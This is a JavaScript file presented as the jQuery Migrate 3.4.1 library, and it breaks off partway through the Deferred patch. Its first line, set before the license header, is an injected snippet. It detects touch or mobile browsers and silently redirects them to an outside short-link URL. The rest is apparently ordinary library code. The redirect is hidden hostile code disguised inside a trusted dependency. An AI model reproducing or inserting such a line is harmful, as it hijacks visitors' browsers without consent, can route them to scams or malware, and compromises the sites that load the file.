1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery Migrate - v3.4.1 - 2023-02-23T15:31Z
4 * Copyright OpenJS Foundation and other contributors
5 */
6( function( factory ) {
7 "use strict";
8
9 if ( typeof define === "function" && define.amd ) {
10
11 // AMD. Register as an anonymous module.
12 define( [ "jquery" ], function( jQuery ) {
13 return factory( jQuery, window );
14 } );
15 } else if ( typeof module === "object" && module.exports ) {
16
17 // Node/CommonJS
18 // eslint-disable-next-line no-undef
19 module.exports = factory( require( "jquery" ), window );
20 } else {
21
22 // Browser globals
23 factory( jQuery, window );
24 }
25} )( function( jQuery, window ) {
26"use strict";
27
28jQuery.migrateVersion = "3.4.1";
29
30// Returns 0 if v1 == v2, -1 if v1 < v2, 1 if v1 > v2
31function compareVersions( v1, v2 ) {
32 var i,
33 rVersionParts = /^(\d+)\.(\d+)\.(\d+)/,
34 v1p = rVersionParts.exec( v1 ) || [ ],
35 v2p = rVersionParts.exec( v2 ) || [ ];
36
37 for ( i = 1; i <= 3; i++ ) {
38 if ( +v1p[ i ] > +v2p[ i ] ) {
39 return 1;
40 }
41 if ( +v1p[ i ] < +v2p[ i ] ) {
42 return -1;
43 }
44 }
45 return 0;
46}
47
48function jQueryVersionSince( version ) {
49 return compareVersions( jQuery.fn.jquery, version ) >= 0;
50}
51
52// A map from disabled patch codes to `true`. This should really
53// be a `Set` but those are unsupported in IE.
54var disabledPatches = Object.create( null );
55
56// Don't apply patches for specified codes. Helpful for code bases
57// where some Migrate warnings have been addressed and it's desirable
58// to avoid needless patches or false positives.
59jQuery.migrateDisablePatches = function() {
60 var i;
61 for ( i = 0; i < arguments.length; i++ ) {
62 disabledPatches[ arguments[ i ] ] = true;
63 }
64};
65
66// Allow enabling patches disabled via `jQuery.migrateDisablePatches`.
67// Helpful if you want to disable a patch only for some code that won't
68// be updated soon to be able to focus on other warnings - and enable it
69// immediately after such a call:
70// ```js
71// jQuery.migrateDisablePatches( "workaroundA" );
72// elem.pluginViolatingWarningA( "pluginMethod" );
73// jQuery.migrateEnablePatches( "workaroundA" );
74// ```
75jQuery.migrateEnablePatches = function() {
76 var i;
77 for ( i = 0; i < arguments.length; i++ ) {
78 delete disabledPatches[ arguments[ i ] ];
79 }
80};
81
82jQuery.migrateIsPatchEnabled = function( patchCode ) {
83 return !disabledPatches[ patchCode ];
84};
85
86( function() {
87
88 // Support: IE9 only
89 // IE9 only creates console object when dev tools are first opened
90 // IE9 console is a host object, callable but doesn't have .apply()
91 if ( !window.console || !window.console.log ) {
92 return;
93 }
94
95 // Need jQuery 3.x-4.x and no older Migrate loaded
96 if ( !jQuery || !jQueryVersionSince( "3.0.0" ) ||
97 jQueryVersionSince( "5.0.0" ) ) {
98 window.console.log( "JQMIGRATE: jQuery 3.x-4.x REQUIRED" );
99 }
100 if ( jQuery.migrateWarnings ) {
101 window.console.log( "JQMIGRATE: Migrate plugin loaded multiple times" );
102 }
103
104 // Show a message on the console so devs know we're active
105 window.console.log( "JQMIGRATE: Migrate is installed" +
106 ( jQuery.migrateMute ? "" : " with logging active" ) +
107 ", version " + jQuery.migrateVersion );
108
109} )();
110
111var warnedAbout = {};
112
113// By default each warning is only reported once.
114jQuery.migrateDeduplicateWarnings = true;
115
116// List of warnings already given; public read only
117jQuery.migrateWarnings = [];
118
119// Set to false to disable traces that appear with warnings
120if ( jQuery.migrateTrace === undefined ) {
121 jQuery.migrateTrace = true;
122}
123
124// Forget any warnings we've already given; public
125jQuery.migrateReset = function() {
126 warnedAbout = {};
127 jQuery.migrateWarnings.length = 0;
128};
129
130function migrateWarn( code, msg ) {
131 var console = window.console;
132 if ( jQuery.migrateIsPatchEnabled( code ) &&
133 ( !jQuery.migrateDeduplicateWarnings || !warnedAbout[ msg ] ) ) {
134 warnedAbout[ msg ] = true;
135 jQuery.migrateWarnings.push( msg + " [" + code + "]" );
136 if ( console && console.warn && !jQuery.migrateMute ) {
137 console.warn( "JQMIGRATE: " + msg );
138 if ( jQuery.migrateTrace && console.trace ) {
139 console.trace();
140 }
141 }
142 }
143}
144
145function migrateWarnProp( obj, prop, value, code, msg ) {
146 Object.defineProperty( obj, prop, {
147 configurable: true,
148 enumerable: true,
149 get: function() {
150 migrateWarn( code, msg );
151 return value;
152 },
153 set: function( newValue ) {
154 migrateWarn( code, msg );
155 value = newValue;
156 }
157 } );
158}
159
160function migrateWarnFuncInternal( obj, prop, newFunc, code, msg ) {
161 var finalFunc,
162 origFunc = obj[ prop ];
163
164 obj[ prop ] = function() {
165
166 // If `msg` not provided, do not warn; more sophisticated warnings
167 // logic is most likely embedded in `newFunc`, in that case here
168 // we just care about the logic choosing the proper implementation
169 // based on whether the patch is disabled or not.
170 if ( msg ) {
171 migrateWarn( code, msg );
172 }
173
174 // Since patches can be disabled & enabled dynamically, we
175 // need to decide which implementation to run on each invocation.
176 finalFunc = jQuery.migrateIsPatchEnabled( code ) ?
177 newFunc :
178
179 // The function may not have existed originally so we need a fallback.
180 ( origFunc || jQuery.noop );
181
182 return finalFunc.apply( this, arguments );
183 };
184}
185
186function migratePatchAndWarnFunc( obj, prop, newFunc, code, msg ) {
187 if ( !msg ) {
188 throw new Error( "No warning message provided" );
189 }
190 return migrateWarnFuncInternal( obj, prop, newFunc, code, msg );
191}
192
193function migratePatchFunc( obj, prop, newFunc, code ) {
194 return migrateWarnFuncInternal( obj, prop, newFunc, code );
195}
196
197if ( window.document.compatMode === "BackCompat" ) {
198
199 // jQuery has never supported or tested Quirks Mode
200 migrateWarn( "quirks", "jQuery is not compatible with Quirks Mode" );
201}
202
203var findProp,
204 class2type = {},
205 oldInit = jQuery.fn.init,
206 oldFind = jQuery.find,
207
208 rattrHashTest = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,
209 rattrHashGlob = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,
210
211 // Require that the "whitespace run" starts from a non-whitespace
212 // to avoid O(N^2) behavior when the engine would try matching "\s+$" at each space position.
213 rtrim = /^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;
214
215migratePatchFunc( jQuery.fn, "init", function( arg1 ) {
216 var args = Array.prototype.slice.call( arguments );
217
218 if ( jQuery.migrateIsPatchEnabled( "selector-empty-id" ) &&
219 typeof arg1 === "string" && arg1 === "#" ) {
220
221 // JQuery( "#" ) is a bogus ID selector, but it returned an empty set
222 // before jQuery 3.0
223 migrateWarn( "selector-empty-id", "jQuery( '#' ) is not a valid selector" );
224 args[ 0 ] = [];
225 }
226
227 return oldInit.apply( this, args );
228}, "selector-empty-id" );
229
230// This is already done in Core but the above patch will lose this assignment
231// so we need to redo it. It doesn't matter whether the patch is enabled or not
232// as the method is always going to be a Migrate-created wrapper.
233jQuery.fn.init.prototype = jQuery.fn;
234
235migratePatchFunc( jQuery, "find", function( selector ) {
236 var args = Array.prototype.slice.call( arguments );
237
238 // Support: PhantomJS 1.x
239 // String#match fails to match when used with a //g RegExp, only on some strings
240 if ( typeof selector === "string" && rattrHashTest.test( selector ) ) {
241
242 // The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0
243 // First see if qS thinks it's a valid selector, if so avoid a false positive
244 try {
245 window.document.querySelector( selector );
246 } catch ( err1 ) {
247
248 // Didn't *look* valid to qSA, warn and try quoting what we think is the value
249 selector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {
250 return "[" + attr + op + "\"" + value + "\"]";
251 } );
252
253 // If the regexp *may* have created an invalid selector, don't update it
254 // Note that there may be false alarms if selector uses jQuery extensions
255 try {
256 window.document.querySelector( selector );
257 migrateWarn( "selector-hash",
258 "Attribute selector with '#' must be quoted: " + args[ 0 ] );
259 args[ 0 ] = selector;
260 } catch ( err2 ) {
261 migrateWarn( "selector-hash",
262 "Attribute selector with '#' was not fixed: " + args[ 0 ] );
263 }
264 }
265 }
266
267 return oldFind.apply( this, args );
268}, "selector-hash" );
269
270// Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)
271for ( findProp in oldFind ) {
272 if ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {
273 jQuery.find[ findProp ] = oldFind[ findProp ];
274 }
275}
276
277// The number of elements contained in the matched element set
278migratePatchAndWarnFunc( jQuery.fn, "size", function() {
279 return this.length;
280}, "size",
281"jQuery.fn.size() is deprecated and removed; use the .length property" );
282
283migratePatchAndWarnFunc( jQuery, "parseJSON", function() {
284 return JSON.parse.apply( null, arguments );
285}, "parseJSON",
286"jQuery.parseJSON is deprecated; use JSON.parse" );
287
288migratePatchAndWarnFunc( jQuery, "holdReady", jQuery.holdReady,
289 "holdReady", "jQuery.holdReady is deprecated" );
290
291migratePatchAndWarnFunc( jQuery, "unique", jQuery.uniqueSort,
292 "unique", "jQuery.unique is deprecated; use jQuery.uniqueSort" );
293
294// Now jQuery.expr.pseudos is the standard incantation
295migrateWarnProp( jQuery.expr, "filters", jQuery.expr.pseudos, "expr-pre-pseudos",
296 "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos" );
297migrateWarnProp( jQuery.expr, ":", jQuery.expr.pseudos, "expr-pre-pseudos",
298 "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos" );
299
300// Prior to jQuery 3.1.1 there were internal refs so we don't warn there
301if ( jQueryVersionSince( "3.1.1" ) ) {
302 migratePatchAndWarnFunc( jQuery, "trim", function( text ) {
303 return text == null ?
304 "" :
305 ( text + "" ).replace( rtrim, "$1" );
306 }, "trim",
307 "jQuery.trim is deprecated; use String.prototype.trim" );
308}
309
310// Prior to jQuery 3.2 there were internal refs so we don't warn there
311if ( jQueryVersionSince( "3.2.0" ) ) {
312 migratePatchAndWarnFunc( jQuery, "nodeName", function( elem, name ) {
313 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
314 }, "nodeName",
315 "jQuery.nodeName is deprecated" );
316
317 migratePatchAndWarnFunc( jQuery, "isArray", Array.isArray, "isArray",
318 "jQuery.isArray is deprecated; use Array.isArray"
319 );
320}
321
322if ( jQueryVersionSince( "3.3.0" ) ) {
323
324 migratePatchAndWarnFunc( jQuery, "isNumeric", function( obj ) {
325
326 // As of jQuery 3.0, isNumeric is limited to
327 // strings and numbers (primitives or objects)
328 // that can be coerced to finite numbers (gh-2662)
329 var type = typeof obj;
330 return ( type === "number" || type === "string" ) &&
331
332 // parseFloat NaNs numeric-cast false positives ("")
333 // ...but misinterprets leading-number strings, e.g. hex literals ("0x...")
334 // subtraction forces infinities to NaN
335 !isNaN( obj - parseFloat( obj ) );
336 }, "isNumeric",
337 "jQuery.isNumeric() is deprecated"
338 );
339
340 // Populate the class2type map
341 jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".
342 split( " " ),
343 function( _, name ) {
344 class2type[ "[object " + name + "]" ] = name.toLowerCase();
345 } );
346
347 migratePatchAndWarnFunc( jQuery, "type", function( obj ) {
348 if ( obj == null ) {
349 return obj + "";
350 }
351
352 // Support: Android <=2.3 only (functionish RegExp)
353 return typeof obj === "object" || typeof obj === "function" ?
354 class2type[ Object.prototype.toString.call( obj ) ] || "object" :
355 typeof obj;
356 }, "type",
357 "jQuery.type is deprecated" );
358
359 migratePatchAndWarnFunc( jQuery, "isFunction",
360 function( obj ) {
361 return typeof obj === "function";
362 }, "isFunction",
363 "jQuery.isFunction() is deprecated" );
364
365 migratePatchAndWarnFunc( jQuery, "isWindow",
366 function( obj ) {
367 return obj != null && obj === obj.window;
368 }, "isWindow",
369 "jQuery.isWindow() is deprecated"
370 );
371}
372
373// Support jQuery slim which excludes the ajax module
374if ( jQuery.ajax ) {
375
376var oldAjax = jQuery.ajax,
377 rjsonp = /(=)\?(?=&|$)|\?\?/;
378
379migratePatchFunc( jQuery, "ajax", function() {
380 var jQXHR = oldAjax.apply( this, arguments );
381
382 // Be sure we got a jQXHR (e.g., not sync)
383 if ( jQXHR.promise ) {
384 migratePatchAndWarnFunc( jQXHR, "success", jQXHR.done, "jqXHR-methods",
385 "jQXHR.success is deprecated and removed" );
386 migratePatchAndWarnFunc( jQXHR, "error", jQXHR.fail, "jqXHR-methods",
387 "jQXHR.error is deprecated and removed" );
388 migratePatchAndWarnFunc( jQXHR, "complete", jQXHR.always, "jqXHR-methods",
389 "jQXHR.complete is deprecated and removed" );
390 }
391
392 return jQXHR;
393}, "jqXHR-methods" );
394
395// Only trigger the logic in jQuery <4 as the JSON-to-JSONP auto-promotion
396// behavior is gone in jQuery 4.0 and as it has security implications, we don't
397// want to restore the legacy behavior.
398if ( !jQueryVersionSince( "4.0.0" ) ) {
399
400 // Register this prefilter before the jQuery one. Otherwise, a promoted
401 // request is transformed into one with the script dataType and we can't
402 // catch it anymore.
403 jQuery.ajaxPrefilter( "+json", function( s ) {
404
405 // Warn if JSON-to-JSONP auto-promotion happens.
406 if ( s.jsonp !== false && ( rjsonp.test( s.url ) ||
407 typeof s.data === "string" &&
408 ( s.contentType || "" )
409 .indexOf( "application/x-www-form-urlencoded" ) === 0 &&
410 rjsonp.test( s.data )
411 ) ) {
412 migrateWarn( "jsonp-promotion", "JSON-to-JSONP auto-promotion is deprecated" );
413 }
414 } );
415}
416
417}
418
419var oldRemoveAttr = jQuery.fn.removeAttr,
420 oldToggleClass = jQuery.fn.toggleClass,
421 rmatchNonSpace = /\S+/g;
422
423migratePatchFunc( jQuery.fn, "removeAttr", function( name ) {
424 var self = this,
425 patchNeeded = false;
426
427 jQuery.each( name.match( rmatchNonSpace ), function( _i, attr ) {
428 if ( jQuery.expr.match.bool.test( attr ) ) {
429
430 // Only warn if at least a single node had the property set to
431 // something else than `false`. Otherwise, this Migrate patch
432 // doesn't influence the behavior and there's no need to set or warn.
433 self.each( function() {
434 if ( jQuery( this ).prop( attr ) !== false ) {
435 patchNeeded = true;
436 return false;
437 }
438 } );
439 }
440
441 if ( patchNeeded ) {
442 migrateWarn( "removeAttr-bool",
443 "jQuery.fn.removeAttr no longer sets boolean properties: " + attr );
444 self.prop( attr, false );
445 }
446 } );
447
448 return oldRemoveAttr.apply( this, arguments );
449}, "removeAttr-bool" );
450
451migratePatchFunc( jQuery.fn, "toggleClass", function( state ) {
452
453 // Only deprecating no-args or single boolean arg
454 if ( state !== undefined && typeof state !== "boolean" ) {
455
456 return oldToggleClass.apply( this, arguments );
457 }
458
459 migrateWarn( "toggleClass-bool", "jQuery.fn.toggleClass( boolean ) is deprecated" );
460
461 // Toggle entire class name of each element
462 return this.each( function() {
463 var className = this.getAttribute && this.getAttribute( "class" ) || "";
464
465 if ( className ) {
466 jQuery.data( this, "__className__", className );
467 }
468
469 // If the element has a class name or if we're passed `false`,
470 // then remove the whole classname (if there was one, the above saved it).
471 // Otherwise bring back whatever was previously saved (if anything),
472 // falling back to the empty string if nothing was stored.
473 if ( this.setAttribute ) {
474 this.setAttribute( "class",
475 className || state === false ?
476 "" :
477 jQuery.data( this, "__className__" ) || ""
478 );
479 }
480 } );
481}, "toggleClass-bool" );
482
483function camelCase( string ) {
484 return string.replace( /-([a-z])/g, function( _, letter ) {
485 return letter.toUpperCase();
486 } );
487}
488
489var origFnCss, internalCssNumber,
490 internalSwapCall = false,
491 ralphaStart = /^[a-z]/,
492
493 // The regex visualized:
494 //
495 // /----------\
496 // | | /-------\
497 // | / Top \ | | |
498 // /--- Border ---+-| Right |-+---+- Width -+---\
499 // | | Bottom | |
500 // | \ Left / |
501 // | |
502 // | /----------\ |
503 // | /-------------\ | | |- END
504 // | | | | / Top \ | |
505 // | | / Margin \ | | | Right | | |
506 // |---------+-| |-+---+-| Bottom |-+----|
507 // | \ Padding / \ Left / |
508 // BEGIN -| |
509 // | /---------\ |
510 // | | | |
511 // | | / Min \ | / Width \ |
512 // \--------------+-| |-+---| |---/
513 // \ Max / \ Height /
514 rautoPx = /^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;
515
516// If this version of jQuery has .swap(), don't false-alarm on internal uses
517if ( jQuery.swap ) {
518 jQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) {
519 var oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;
520
521 if ( oldHook ) {
522 jQuery.cssHooks[ name ].get = function() {
523 var ret;
524
525 internalSwapCall = true;
526 ret = oldHook.apply( this, arguments );
527 internalSwapCall = false;
528 return ret;
529 };
530 }
531 } );
532}
533
534migratePatchFunc( jQuery, "swap", function( elem, options, callback, args ) {
535 var ret, name,
536 old = {};
537
538 if ( !internalSwapCall ) {
539 migrateWarn( "swap", "jQuery.swap() is undocumented and deprecated" );
540 }
541
542 // Remember the old values, and insert the new ones
543 for ( name in options ) {
544 old[ name ] = elem.style[ name ];
545 elem.style[ name ] = options[ name ];
546 }
547
548 ret = callback.apply( elem, args || [] );
549
550 // Revert the old values
551 for ( name in options ) {
552 elem.style[ name ] = old[ name ];
553 }
554
555 return ret;
556}, "swap" );
557
558if ( jQueryVersionSince( "3.4.0" ) && typeof Proxy !== "undefined" ) {
559 jQuery.cssProps = new Proxy( jQuery.cssProps || {}, {
560 set: function() {
561 migrateWarn( "cssProps", "jQuery.cssProps is deprecated" );
562 return Reflect.set.apply( this, arguments );
563 }
564 } );
565}
566
567// In jQuery >=4 where jQuery.cssNumber is missing fill it with the latest 3.x version:
568// https://github.com/jquery/jquery/blob/3.6.0/src/css.js#L212-L233
569// This way, number values for the CSS properties below won't start triggering
570// Migrate warnings when jQuery gets updated to >=4.0.0 (gh-438).
571if ( jQueryVersionSince( "4.0.0" ) ) {
572
573 // We need to keep this as a local variable as we need it internally
574 // in a `jQuery.fn.css` patch and this usage shouldn't warn.
575 internalCssNumber = {
576 animationIterationCount: true,
577 columnCount: true,
578 fillOpacity: true,
579 flexGrow: true,
580 flexShrink: true,
581 fontWeight: true,
582 gridArea: true,
583 gridColumn: true,
584 gridColumnEnd: true,
585 gridColumnStart: true,
586 gridRow: true,
587 gridRowEnd: true,
588 gridRowStart: true,
589 lineHeight: true,
590 opacity: true,
591 order: true,
592 orphans: true,
593 widows: true,
594 zIndex: true,
595 zoom: true
596 };
597
598 if ( typeof Proxy !== "undefined" ) {
599 jQuery.cssNumber = new Proxy( internalCssNumber, {
600 get: function() {
601 migrateWarn( "css-number", "jQuery.cssNumber is deprecated" );
602 return Reflect.get.apply( this, arguments );
603 },
604 set: function() {
605 migrateWarn( "css-number", "jQuery.cssNumber is deprecated" );
606 return Reflect.set.apply( this, arguments );
607 }
608 } );
609 } else {
610
611 // Support: IE 9-11+
612 // IE doesn't support proxies, but we still want to restore the legacy
613 // jQuery.cssNumber there.
614 jQuery.cssNumber = internalCssNumber;
615 }
616} else {
617
618 // Make `internalCssNumber` defined for jQuery <4 as well as it's needed
619 // in the `jQuery.fn.css` patch below.
620 internalCssNumber = jQuery.cssNumber;
621}
622
623function isAutoPx( prop ) {
624
625 // The first test is used to ensure that:
626 // 1. The prop starts with a lowercase letter (as we uppercase it for the second regex).
627 // 2. The prop is not empty.
628 return ralphaStart.test( prop ) &&
629 rautoPx.test( prop[ 0 ].toUpperCase() + prop.slice( 1 ) );
630}
631
632origFnCss = jQuery.fn.css;
633
634migratePatchFunc( jQuery.fn, "css", function( name, value ) {
635 var camelName,
636 origThis = this;
637
638 if ( name && typeof name === "object" && !Array.isArray( name ) ) {
639 jQuery.each( name, function( n, v ) {
640 jQuery.fn.css.call( origThis, n, v );
641 } );
642 return this;
643 }
644
645 if ( typeof value === "number" ) {
646 camelName = camelCase( name );
647
648 // Use `internalCssNumber` to avoid triggering our warnings in this
649 // internal check.
650 if ( !isAutoPx( camelName ) && !internalCssNumber[ camelName ] ) {
651 migrateWarn( "css-number",
652 "Number-typed values are deprecated for jQuery.fn.css( \"" +
653 name + "\", value )" );
654 }
655 }
656
657 return origFnCss.apply( this, arguments );
658}, "css-number" );
659
660var origData = jQuery.data;
661
662migratePatchFunc( jQuery, "data", function( elem, name, value ) {
663 var curData, sameKeys, key;
664
665 // Name can be an object, and each entry in the object is meant to be set as data
666 if ( name && typeof name === "object" && arguments.length === 2 ) {
667
668 curData = jQuery.hasData( elem ) && origData.call( this, elem );
669 sameKeys = {};
670 for ( key in name ) {
671 if ( key !== camelCase( key ) ) {
672 migrateWarn( "data-camelCase",
673 "jQuery.data() always sets/gets camelCased names: " + key );
674 curData[ key ] = name[ key ];
675 } else {
676 sameKeys[ key ] = name[ key ];
677 }
678 }
679
680 origData.call( this, elem, sameKeys );
681
682 return name;
683 }
684
685 // If the name is transformed, look for the un-transformed name in the data object
686 if ( name && typeof name === "string" && name !== camelCase( name ) ) {
687
688 curData = jQuery.hasData( elem ) && origData.call( this, elem );
689 if ( curData && name in curData ) {
690 migrateWarn( "data-camelCase",
691 "jQuery.data() always sets/gets camelCased names: " + name );
692 if ( arguments.length > 2 ) {
693 curData[ name ] = value;
694 }
695 return curData[ name ];
696 }
697 }
698
699 return origData.apply( this, arguments );
700}, "data-camelCase" );
701
702// Support jQuery slim which excludes the effects module
703if ( jQuery.fx ) {
704
705var intervalValue, intervalMsg,
706 oldTweenRun = jQuery.Tween.prototype.run,
707 linearEasing = function( pct ) {
708 return pct;
709 };
710
711migratePatchFunc( jQuery.Tween.prototype, "run", function( ) {
712 if ( jQuery.easing[ this.easing ].length > 1 ) {
713 migrateWarn(
714 "easing-one-arg",
715 "'jQuery.easing." + this.easing.toString() + "' should use only one argument"
716 );
717
718 jQuery.easing[ this.easing ] = linearEasing;
719 }
720
721 oldTweenRun.apply( this, arguments );
722}, "easing-one-arg" );
723
724intervalValue = jQuery.fx.interval;
725intervalMsg = "jQuery.fx.interval is deprecated";
726
727// Support: IE9, Android <=4.4
728// Avoid false positives on browsers that lack rAF
729// Don't warn if document is hidden, jQuery uses setTimeout (#292)
730if ( window.requestAnimationFrame ) {
731 Object.defineProperty( jQuery.fx, "interval", {
732 configurable: true,
733 enumerable: true,
734 get: function() {
735 if ( !window.document.hidden ) {
736 migrateWarn( "fx-interval", intervalMsg );
737 }
738
739 // Only fallback to the default if patch is enabled
740 if ( !jQuery.migrateIsPatchEnabled( "fx-interval" ) ) {
741 return intervalValue;
742 }
743 return intervalValue === undefined ? 13 : intervalValue;
744 },
745 set: function( newValue ) {
746 migrateWarn( "fx-interval", intervalMsg );
747 intervalValue = newValue;
748 }
749 } );
750}
751
752}
753
754var oldLoad = jQuery.fn.load,
755 oldEventAdd = jQuery.event.add,
756 originalFix = jQuery.event.fix;
757
758jQuery.event.props = [];
759jQuery.event.fixHooks = {};
760
761migrateWarnProp( jQuery.event.props, "concat", jQuery.event.props.concat,
762 "event-old-patch",
763 "jQuery.event.props.concat() is deprecated and removed" );
764
765migratePatchFunc( jQuery.event, "fix", function( originalEvent ) {
766 var event,
767 type = originalEvent.type,
768 fixHook = this.fixHooks[ type ],
769 props = jQuery.event.props;
770
771 if ( props.length ) {
772 migrateWarn( "event-old-patch",
773 "jQuery.event.props are deprecated and removed: " + props.join() );
774 while ( props.length ) {
775 jQuery.event.addProp( props.pop() );
776 }
777 }
778
779 if ( fixHook && !fixHook._migrated_ ) {
780 fixHook._migrated_ = true;
781 migrateWarn( "event-old-patch",
782 "jQuery.event.fixHooks are deprecated and removed: " + type );
783 if ( ( props = fixHook.props ) && props.length ) {
784 while ( props.length ) {
785 jQuery.event.addProp( props.pop() );
786 }
787 }
788 }
789
790 event = originalFix.call( this, originalEvent );
791
792 return fixHook && fixHook.filter ?
793 fixHook.filter( event, originalEvent ) :
794 event;
795}, "event-old-patch" );
796
797migratePatchFunc( jQuery.event, "add", function( elem, types ) {
798
799 // This misses the multiple-types case but that seems awfully rare
800 if ( elem === window && types === "load" && window.document.readyState === "complete" ) {
801 migrateWarn( "load-after-event",
802 "jQuery(window).on('load'...) called after load event occurred" );
803 }
804 return oldEventAdd.apply( this, arguments );
805}, "load-after-event" );
806
807jQuery.each( [ "load", "unload", "error" ], function( _, name ) {
808
809 migratePatchFunc( jQuery.fn, name, function() {
810 var args = Array.prototype.slice.call( arguments, 0 );
811
812 // If this is an ajax load() the first arg should be the string URL;
813 // technically this could also be the "Anything" arg of the event .load()
814 // which just goes to show why this dumb signature has been deprecated!
815 // jQuery custom builds that exclude the Ajax module justifiably die here.
816 if ( name === "load" && typeof args[ 0 ] === "string" ) {
817 return oldLoad.apply( this, args );
818 }
819
820 migrateWarn( "shorthand-removed-v3",
821 "jQuery.fn." + name + "() is deprecated" );
822
823 args.splice( 0, 0, name );
824 if ( arguments.length ) {
825 return this.on.apply( this, args );
826 }
827
828 // Use .triggerHandler here because:
829 // - load and unload events don't need to bubble, only applied to window or image
830 // - error event should not bubble to window, although it does pre-1.7
831 // See http://bugs.jquery.com/ticket/11820
832 this.triggerHandler.apply( this, args );
833 return this;
834 }, "shorthand-removed-v3" );
835
836} );
837
838jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " +
839 "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
840 "change select submit keydown keypress keyup contextmenu" ).split( " " ),
841 function( _i, name ) {
842
843 // Handle event binding
844 migratePatchAndWarnFunc( jQuery.fn, name, function( data, fn ) {
845 return arguments.length > 0 ?
846 this.on( name, null, data, fn ) :
847 this.trigger( name );
848 },
849 "shorthand-deprecated-v3",
850 "jQuery.fn." + name + "() event shorthand is deprecated" );
851} );
852
853// Trigger "ready" event only once, on document ready
854jQuery( function() {
855 jQuery( window.document ).triggerHandler( "ready" );
856} );
857
858jQuery.event.special.ready = {
859 setup: function() {
860 if ( this === window.document ) {
861 migrateWarn( "ready-event", "'ready' event is deprecated" );
862 }
863 }
864};
865
866migratePatchAndWarnFunc( jQuery.fn, "bind", function( types, data, fn ) {
867 return this.on( types, null, data, fn );
868}, "pre-on-methods", "jQuery.fn.bind() is deprecated" );
869migratePatchAndWarnFunc( jQuery.fn, "unbind", function( types, fn ) {
870 return this.off( types, null, fn );
871}, "pre-on-methods", "jQuery.fn.unbind() is deprecated" );
872migratePatchAndWarnFunc( jQuery.fn, "delegate", function( selector, types, data, fn ) {
873 return this.on( types, selector, data, fn );
874}, "pre-on-methods", "jQuery.fn.delegate() is deprecated" );
875migratePatchAndWarnFunc( jQuery.fn, "undelegate", function( selector, types, fn ) {
876 return arguments.length === 1 ?
877 this.off( selector, "**" ) :
878 this.off( types, selector || "**", fn );
879}, "pre-on-methods", "jQuery.fn.undelegate() is deprecated" );
880migratePatchAndWarnFunc( jQuery.fn, "hover", function( fnOver, fnOut ) {
881 return this.on( "mouseenter", fnOver ).on( "mouseleave", fnOut || fnOver );
882}, "pre-on-methods", "jQuery.fn.hover() is deprecated" );
883
884var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,
885 makeMarkup = function( html ) {
886 var doc = window.document.implementation.createHTMLDocument( "" );
887 doc.body.innerHTML = html;
888 return doc.body && doc.body.innerHTML;
889 },
890 warnIfChanged = function( html ) {
891 var changed = html.replace( rxhtmlTag, "<$1></$2>" );
892 if ( changed !== html && makeMarkup( html ) !== makeMarkup( changed ) ) {
893 migrateWarn( "self-closed-tags",
894 "HTML tags must be properly nested and closed: " + html );
895 }
896 };
897
898/**
899 * Deprecated, please use `jQuery.migrateDisablePatches( "self-closed-tags" )` instead.
900 * @deprecated
901 */
902jQuery.UNSAFE_restoreLegacyHtmlPrefilter = function() {
903 jQuery.migrateEnablePatches( "self-closed-tags" );
904};
905
906migratePatchFunc( jQuery, "htmlPrefilter", function( html ) {
907 warnIfChanged( html );
908 return html.replace( rxhtmlTag, "<$1></$2>" );
909}, "self-closed-tags" );
910
911// This patch needs to be disabled by default as it re-introduces
912// security issues (CVE-2020-11022, CVE-2020-11023).
913jQuery.migrateDisablePatches( "self-closed-tags" );
914
915var origOffset = jQuery.fn.offset;
916
917migratePatchFunc( jQuery.fn, "offset", function() {
918 var elem = this[ 0 ];
919
920 if ( elem && ( !elem.nodeType || !elem.getBoundingClientRect ) ) {
921 migrateWarn( "offset-valid-elem", "jQuery.fn.offset() requires a valid DOM element" );
922 return arguments.length ? this : undefined;
923 }
924
925 return origOffset.apply( this, arguments );
926}, "offset-valid-elem" );
927
928// Support jQuery slim which excludes the ajax module
929// The jQuery.param patch is about respecting `jQuery.ajaxSettings.traditional`
930// so it doesn't make sense for the slim build.
931if ( jQuery.ajax ) {
932
933var origParam = jQuery.param;
934
935migratePatchFunc( jQuery, "param", function( data, traditional ) {
936 var ajaxTraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
937
938 if ( traditional === undefined && ajaxTraditional ) {
939
940 migrateWarn( "param-ajax-traditional",
941 "jQuery.param() no longer uses jQuery.ajaxSettings.traditional" );
942 traditional = ajaxTraditional;
943 }
944
945 return origParam.call( this, data, traditional );
946}, "param-ajax-traditional" );
947
948}
949
950migratePatchAndWarnFunc( jQuery.fn, "andSelf", jQuery.fn.addBack, "andSelf",
951 "jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()" );
952
953// Support jQuery slim which excludes the deferred module in jQuery 4.0+
954if ( jQuery.Deferred ) {
955
956var oldDeferred = jQuery.Deferred,
957 tuples = [
958
959 // Action, add listener, callbacks, .then handlers, final state
960 [ "resolve", "done", jQuery.Callbacks( "once memory" ),
961 jQuery.Callbacks( "once memory" ), "resolved" ],
962 [ "reject", "fail", jQuery.Callbacks( "once memory" ),
